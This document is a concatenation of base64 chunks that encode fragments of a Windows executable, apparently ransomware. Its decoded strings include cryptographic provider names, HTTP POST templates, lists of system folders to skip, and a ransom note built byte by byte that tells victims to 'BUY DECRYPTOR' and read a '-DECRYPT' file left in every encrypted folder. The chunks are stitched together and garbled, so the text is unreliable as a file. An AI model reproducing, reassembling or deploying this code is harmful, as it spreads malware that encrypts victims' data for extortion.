B1AHAAbABvAGEAZABzAAAAbgBlAHcAcwAAAAAAaQBtAGEAZwBlAHMAAAAAAHAAaQBjAHQAdQByAGUAcwAAAAAAaQBtAGEAZwBlAAAAZwByAGEAcABoAGkAYwAAAGEAcwBzAGUAdABzAAAAAABwAGkAYwBzAAAAAABpAG0AZwBzAAAAAAB0AG0AcAAAAGkAbQAAAAAAZABlAAAAAABrAGEAAAAAAGsAZQAAAAAAYQBtAAAAAABlAHMAAAAAAHMAbwAAAAAAZgB1AAAAAABzAGUAAAAAAGQAYQAAAAAAaABlAAAAAAByAHUAAAAAAG0AZQAAAAAAbQBvAAAAAAB0AGgAAAAAAHoAdQAAAAAAagBwAGcAAABwAG4AZwAAAGcAaQBmAAAAYgBtAHAAAAAvAAAASABUAFQAUAAvADEALgAxAAAAAABHAEUAVAAAADMweABDAG8AbgB0AGUAbgB0AC0AVAB5AHAAZQA6ACAAbQB1AGwAdABpAHAAYQByAHQALwBmAG8AcgBtAC0AZABhAHQAYQAAAFAATwBTAFQAAAAAACUAcwAvACUAcwAvACUAcwAvACUAcwAuACUAcwAAAAAAaAB0AHQAcAA6AC8ALwAlAHMAAABqb3BvY2hsZW4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAAAwAHgAJQBYAAAAAABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAAAAXABJAEUAVABsAGQAQwBhAGMAaABlAFwAAAAAAFwAQgBvAG8AdABcAAAAAABcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXAAAAFwAVABvAHIAIABCAHIAbwB3AHMAZQByAFwAAABcAEEAbABsACAAVQBzAGUAcgBzAFwAAABcAEwAbwBjAGEAbAAgAFMAZQB0AHQAaQBuAGcAcwBcAAAAAABcAFcAaQBuAGQAbwB3AHMAXAAAAGQAZQBzAGsAdABvAHAALgBpAG4AaQAAAGEAdQB0AG8AcgB1AG4ALgBpAG4AZgAAAG4AdAB1AHMAZQByAC4AZABhAHQAAAAAAGkAYwBvAG4AYwBhAGMAaABlAC4AZABiAAAAAABiAG8AbwB0AHMAZQBjAHQALgBiAGEAawAAAAAAYgBvAG8AdAAuAGkAbgBpAAAAAABuAHQAdQBzAGUAcgAuA','BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBkYABgYGAAYGJgYGBgYGBgYGBgYGBgYGBkYGhgYGCgYGJgYGBgYGBgYGBgYGBgYGBkYERwYGFAYGBh4SBgYZRkYGBgYGBgYGBgYGBgYGBgYGBgkJ2B1dDhufWprcXd2JT8pNig/OH12e3d8cXZ/JT9NTF41ID84a2x5dnx5dHd2fSU/YX1rPycmFRIkeWtrfXV6dGE4YHV0dmslP21qdiJre3B9dXlrNXVxe2p3a3d+bDV7d3UieWt1Nm4pPzh1eXZxfn1rbE59amtxd3YlPyk2KD8mFRI4OCRsam1rbFF2fnc4YHV0dmslOm1qdiJre3B9dXlrNXVxe2p3a3d+bDV7d3UieWt1Nm4rOiYVEjg4ODgka317bWpxbGEmFRI4ODg4ODgkan1pbX1rbH18SGpxbnF0fX99ayYVEjg4ODg4ODg4JGp9aW19a2x9fF1gfXttbHF3dlR9bn10OHR9bn10JT95a1F2bndzfWo/OG1xWXt7fWtrJT9+eXRrfT84NyYVEjg4ODg4OCQ3an1pbX1rbH18SGpxbnF0fX99ayYVEjg4ODgkN2t9e21qcWx','L1boLAAAAFmFwHQFg8j/6x/3RgwAQAAAdBRW6FX///9Q6AcEAAD32FlZG8DrAjPAXl3DVYvsU1aLdQgz24tGDCQDPAJ1QvdGDAgBAAB0OVeLPit+CIX/fi5X/3YIVugS////WVDorAQAAIPEDDvHdQ+LRgyEwHkPg+D9iUYM6weDTgwgg8v/X4tOCIvDg2YEAIkOXltdw2oB6AIAAABZw2oUaHCJARDoH9///zP/iX3kIX3cagHoINf//1khffwz9otdCIl14Ds1JCMCEA+NhgAAAKEgIwIQiwSwhcB0XfZADIN0V1BW6PL9//9ZWcdF/AEAAAChICMCEIsEsPZADIN0MIP7AXUSUOjf/v//WYP4/3QfR4l95OsZhdt1FfZADAJ0D1Dow/7//1mD+P91AwlF3INl/ADoDAAAAEbrhYtdCIt95It14KEgIwIQ/zSwVujy/f//WVnDx0X8/v///+gWAAAAg/sBi8d0A4tF3Oic3v//w4tdCIt95GoB6DbX//9Zw8zMzMzMzMxVi+xTVldVagBqAGi43wAQ/3UI6GZPAABdX15bi+Vdw4tMJAT3QQQGAAAAuAEAAAB0MotEJBSLSPwzyOir5P//VYtoEItQKFKLUCRS6BQAAACDxAhdi0QkCItUJBCJArgDAAAAw1NWV4tEJBBVUGr+aMDfABBk/zUAAAAAoVCqARAzxFCNRCQEZKMAAAAAi0QkKItYCItwDIP+/3Q6g3wkLP90Bjt0JCx2LY00dosMs4lMJAyJSAyDfLMEAHUXaAEBAACLRLMI6EkAAACLRLMI6F8AAADrt4tMJARkiQ0AAAAAg8QYX15bwzPAZIsNAAAAAIF5BMDfABB1EItRDItSDDlRCHUFuAEAAADDU1G7MK0BEOsLU1G7MK0BEItMJAyJSwiJQwSJawxVUVBYWV1ZW8IEAP/Qw8zMzMzMzMzMzFGNTCQEK8gbwPfQI8iLxCUA8P//O8hyCovBWZSLAIkEJMMtABAAAIUA6+nMzMzMzFaLRCQUC8B1KItMJBCLRCQMM9L38YvYi0QkCPfxi/CLw/dkJBCLyIvG92QkEAPR60eLyItcJBCLVCQMi0QkCNHp0dvR6tHYC8l19Pfzi/D3ZCQUi8iLRCQQ9+YD0XIOO1QkDHcIcg87RCQIdglOK0QkEBtUJBQz2ytEJAgbVCQM99r32IPaAIvKi9OL2YvIi8ZewhAAahBomIkBEOgv3P//M/+JfeRqAegz1P//WSF9/GoDXol14Ds1JCMCEH1ToSAjAhCLBLCFwHRE9kAMg3QQUOgADQAAWYP4/3QER4l95IP+FHwpoSAjAhCLBLCDwCBQ/xWoMAEQoSAjAhD/NLDorNb//1mhICMCEIMksABG66LHRfz+////6AsAAACLx+jw2///w4t95GoB6I3U//9Zw2oUaLiJARDoktv//zP2iXXki30Ig//+dRDoN97//8cACQAAAOm3AAAAhf8PiJ8AAAA7PQATAhAPg5MAAACLx8H4BYlF4Ivfg+MfweMGiwSFIBECEA++RAMEg+ABdHJX6LgMAABZiXX8i0XgiwSFIBECEPZEAwQBdChX6LENAABZUP8VTDEBEIXAdQj/FaQxARCL8Il15IX2dBjogt3//4kw6K/d///HAAkAAACDzv+JdeTHRfz+////6AoAAACLxushi30Ii3XkV+jJDQAAWcPogN3//8cACQAAAOjJ5f//g8j/6Pva///DahBo2IkBEOip2v//M9uJXeSLdQiD/v51F+ga3f//iRjoR93//8cACQAAAOm2AAAAhfYPiJcAAAA7NQATAhAPg4sAAACL3sH7BYv+g+cfwecGiwSdIBECEA++RDgEg+ABdQro0dz//4MgAOtqVujBCwAAWYNl/ACLBJ0gEQIQ9kQ4BAF0E/91EP91DFboXgAAAIPEDIv46xboz9z//8cACQAAAOiQ3P//gyAAg8//iX3kx0X8/v///+gKAAAAi8frKIt1CIt95Fbo4QwAAFnD6GTc//+JGOiR3P//xwAJAAAA6Nrk//+DyP/oDNr//8NVi+y48BoAAOi5/P//oVCqARAzxYlF/IOlROX//wCLRQiLTQxWM/aJhTjl//9XM/+JjTDl//+JtUDl//85dRB1BzPA6Q0IAACFyXUf6Pjb//8hMOgl3P//xwAWAAAA6G7k//+DyP/p6gcAAIvQi8jB+gWD4R/B4QaJlSjl//9TixSVIBECEImNJOX//4pcESQC29D7gPsCdAWA+wF1K4tFEPfQqAF1HOid2///ITDoytv//8cAFgAAAOgT5P//6YgHAACLhTjl///2RBEEIHQPagJqAGoAUOgJDAAAg8QQ/7U45f//6Kr4//9ZhcAPhFADAACLhSjl//+LjSTl//+LBIUg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ZQBuAHQAcwANAAoAAAAAAAAAUgA2ADAAMAA5AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAZQBuAHYAaQByAG8AbgBtAGUAbgB0AA0ACgAAAFIANgAwADEAMAANAAoALQAgAGEAYgBvAHIAdAAoACkAIABoAGEAcwAgAGIAZQBlAG4AIABjAGEAbABsAGUAZAANAAoAAAAAAFIANgAwADEANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHQAaAByAGUAYQBkACAAZABhAHQAYQANAAoAAABSADYAMAAxADcADQAKAC0AIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAbQB1AGwAdABpAHQAaAByAGUAYQBkACAAbABvAGMAawAgAGU','aIX2dQhqIOh8BwAAWYvG6G0OAADDag3oMAYAAFmJdfyLd2iJdeQ7NTSkARB0NIX2dBiDyP/wD8EGdQ+B/hCiARB0B1bo1AgAAFmhNKQBEIlHaIs1NKQBEIl15DPAQPAPwQbHRfz+////6AUAAADrkYt15GoN6K8GAABZw2oQaKiIARDotA0AAIPP/+gwBAAAi9iJXeDoPP///4tzaP91COjS/P//WYlFCDtGBA+EaAEAAGggAgAA6LwPAABZi9iF2w+EVQEAALmIAAAAi0Xgi3Boi/vzpTP2iTNT/3UI6EEBAABZWYv4iX0Ihf8PhQcBAACLReCLSGiDyv/wD8ERdRWLSGiB+RCiARB0ClHoCwgAAFmLReCJWGgzwEDwD8EDi0Xg9kBwAg+F7wAAAPYFWKcBEAEPheIAAABqDegLBQAAWYl1/ItDBKPIBQIQi0MIo8wFAhCLgxwCAACj3AUCEIvOiU3kg/kFfRBmi0RLDGaJBE3QBQIQQevoi86JTeSB+QEBAAB9DYpEGRiIgQigARBB6+iJdeSB/gABAAB9EIqEHhkBAACIhhChARBG6+WhNKQBEIPJ//APwQh1E6E0pAEQPRCiARB0B1DoTgcAAFmJHTSkARAzwEDwD8EDx0X8/v///+gFAAAA6zGLfQhqDeg0BQAAWcPrI4P//3UegfsQogEQdAdT6BEHAABZ6OEOAADHABYAAADrAjP/i8foXgwAAMNVi+yD7CChUKoBEDPFiUX8U1b/dQiLdQzoNvv//4vYWYXbdQ5W6Jf7//9ZM8DpqQEAAFcz/4vPi8eJTeQ5mDikARAPhOgAAABBg8AwiU3kPfAAAABy5oH76P0AAA+ExgAAAIH76f0AAA+EugAAAA+3w1D/FRwyARCFwA+EqAAAAI1F6FBT/xUoMgEQhcAPhIIAAABoAQEAAI1GGFdQ6DYSAACJXgSDxAwz24m+HAIAAEM5Xeh2T4B97gCNRe50IYpIAYTJdBoPttEPtgjrBoBMDhkEQTvKdvaDwAKAOAB1341GGrn+AAAAgAgIQEl1+f92BOgi+v//g8QEiYYcAgAAiV4I6wOJfggzwI1+DKurq+m8AAAAOT3gBQIQdAtW6J76///prwAAAIPI/+mqAAAAaAEBAACNRhhXUOiZEQAAg8QMa0XkMIlF4I2ASKQBEIlF5IA4AIvIdDWKQQGEwHQrD7YRD7bA6xeB+gABAABzE4qHMKQBEAhEFhlCD7ZBATvQduWDwQKAOQB1zotF5EeDwAiJReSD/wRyuFOJXgTHRggBAAAA6G/5//+DxASJhhwCAACLReCNTgxqBo2QPKQBEF9miwKNUgJmiQGNSQJPdfFW6En6//9ZM8Bfi038XjPNW+jcEAAAi','GBgYGBgYGBgYGBgYGBgYGBgYGBgYGDgYGJgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBg2bH1gbBgYGAIcGBgYCBgYGB4YGBgcGBgYGBgYGBgYGBgYGBg4GBh4Nmp8eWx5GBg4GxgYGDgYGBgcGBgYEhgYGBgYGBgYGBgYGBgYWBgYWDZ8eWx5GBgYEBoYGBgoGBgYGhgYGBYYGBgYGBgYGBgYGBgYGFgYGNg2aHx5bHkYGEwYGBgYWBgYGBoYGBgIGBgYGBgYGBgYGBgYGBhYGBhYNmpransYGBj4GRgYGEgYGBgaGBgYChgYGBgYGBgYGBgYGBgYWBgYWBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY2hgY1NTU1NTU1NTU1NTU1FhLUJv0aFCVBfsHGBhQk9PnDTIIGBhQlRVLCBgYWaEZGBgYXSvYk8hQkUQ8OPCm5+fnojhWGBhQk9PnDcAXGBid2G0W5w3mFxgYK9hQm9xoQ9tQkWQ8QFSRbDxIXSvuVJFsPChdK9FdK9iiGBgY2FCT01yRbDww31w8OBsYGBjnDasXGBhQk+BQm+DnbQDnDawXGBhQk2Q8QFSTbDxIK9hQm9xoQ9tQkXQ8cOcNtxcYGKMUGBgYVJWUPIgYGBhQlUw8WFClgbGysvXmtcZck9tQk9eRXDxQUJF0PFhckaw8iBgYGFSRbDw45w0pFxgYndhtDucNVxcYGFCT1+cNThcYGCvY8agZGBhQkWw8eFyRrDyYGBgYVJFsPFhZk+5c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','///Q8aFCv///1TGhQv///9JxoUM////T8aFDf///07GhQ7///8gxoUP////QsaFEP///1nGhRH///8gxoUS////T8aFE////1XGhRT///9SxoUV////IMaFFv///1PGhRf///9PxoUY////RsaFGf///1TGhRr///9XxoUb////QcaFHP///1LGhR3///9FxoUe////LsaFH////yDGhSD///9JxoUh////TsaFIv///yDGhSP///9PxoUk////UsaFJf///0TGhSb///9FxoUn////UsaFKP///yDGhSn///9UxoUq////T8aFK////yDGhSz///9SxoUt////RcaFLv///1PGhS////9UxoUw////T8aFMf///1LGhTL///9FxoUz////IMaFNP///0nGhTX///9UxoU2////IMaFN////1nGhTj///9PxoU5////VcaFOv///yDGhTv///9NxoU8////VcaFPf///1PGhT7///9UxoU/////IMaFQP///0LGhUH///9VxoVC////WcaFQ////yDGhUT///9ExoVF////RcaFRv///0PGhUf///9SxoVI////WcaFSf///1DGhUr///9UxoVL////T8aFTP///1LGhU3///8Ai0Xo0eCLTdgryIlN2GoRjUXUUGr/jYXo/v//UP91/P8VfDIBEGtF6AOLTdgryIlN2MaFUP///0bGhVH///9vxoVS////csaFU////yDGhVT///9mxoVV////dcaFVv///3LGhVf///90xoVY////aMaFWf///2XGhVr///9yxoVb////IMaFXP///3PGhV3///90xoVe////ZcaFX////3DGhWD///9zxoVh////IMaFYv///3LGhWP///9lxoVk//','//YcaFZf///2TGhWb///8gxoVn////JcaFaP///3PGhWn///8txoVq////RMaFa////0XGhWz///9DxoVt////UsaFbv///1nGhW////9QxoVw////VMaFcf///y7GhXL///8lxoVz////c8aFdP///yDGhXX///90xoV2////aMaFd////2HGhXj///90xoV5////IMaFev///2nGhXv///9zxoV8////IMaFff///2zGhX7///9vxoV/////Y8ZFgGHGRYF0xkWCZcZFg2TGRYQgxkWFacZFhm7GRYcgxkWIZcZFiXbGRYplxkWLcsZFjHnGRY0gxkWOZcZFj27GRZBjxkWRcsZFknnGRZNwxkWUdMZFlWXGRZZkxkWXIMZFmGbGRZlvxkWabMZFm2TGRZxlxkWdcsZFngCLDdwSAhDoqu3//4lF5INl8ACDfeQAdEb/deT/FcgxARCDwFeLyOh07///iUXwg33wAHQqxkW8dMZFvXjGRb50xkW/AI1FvFD/deSN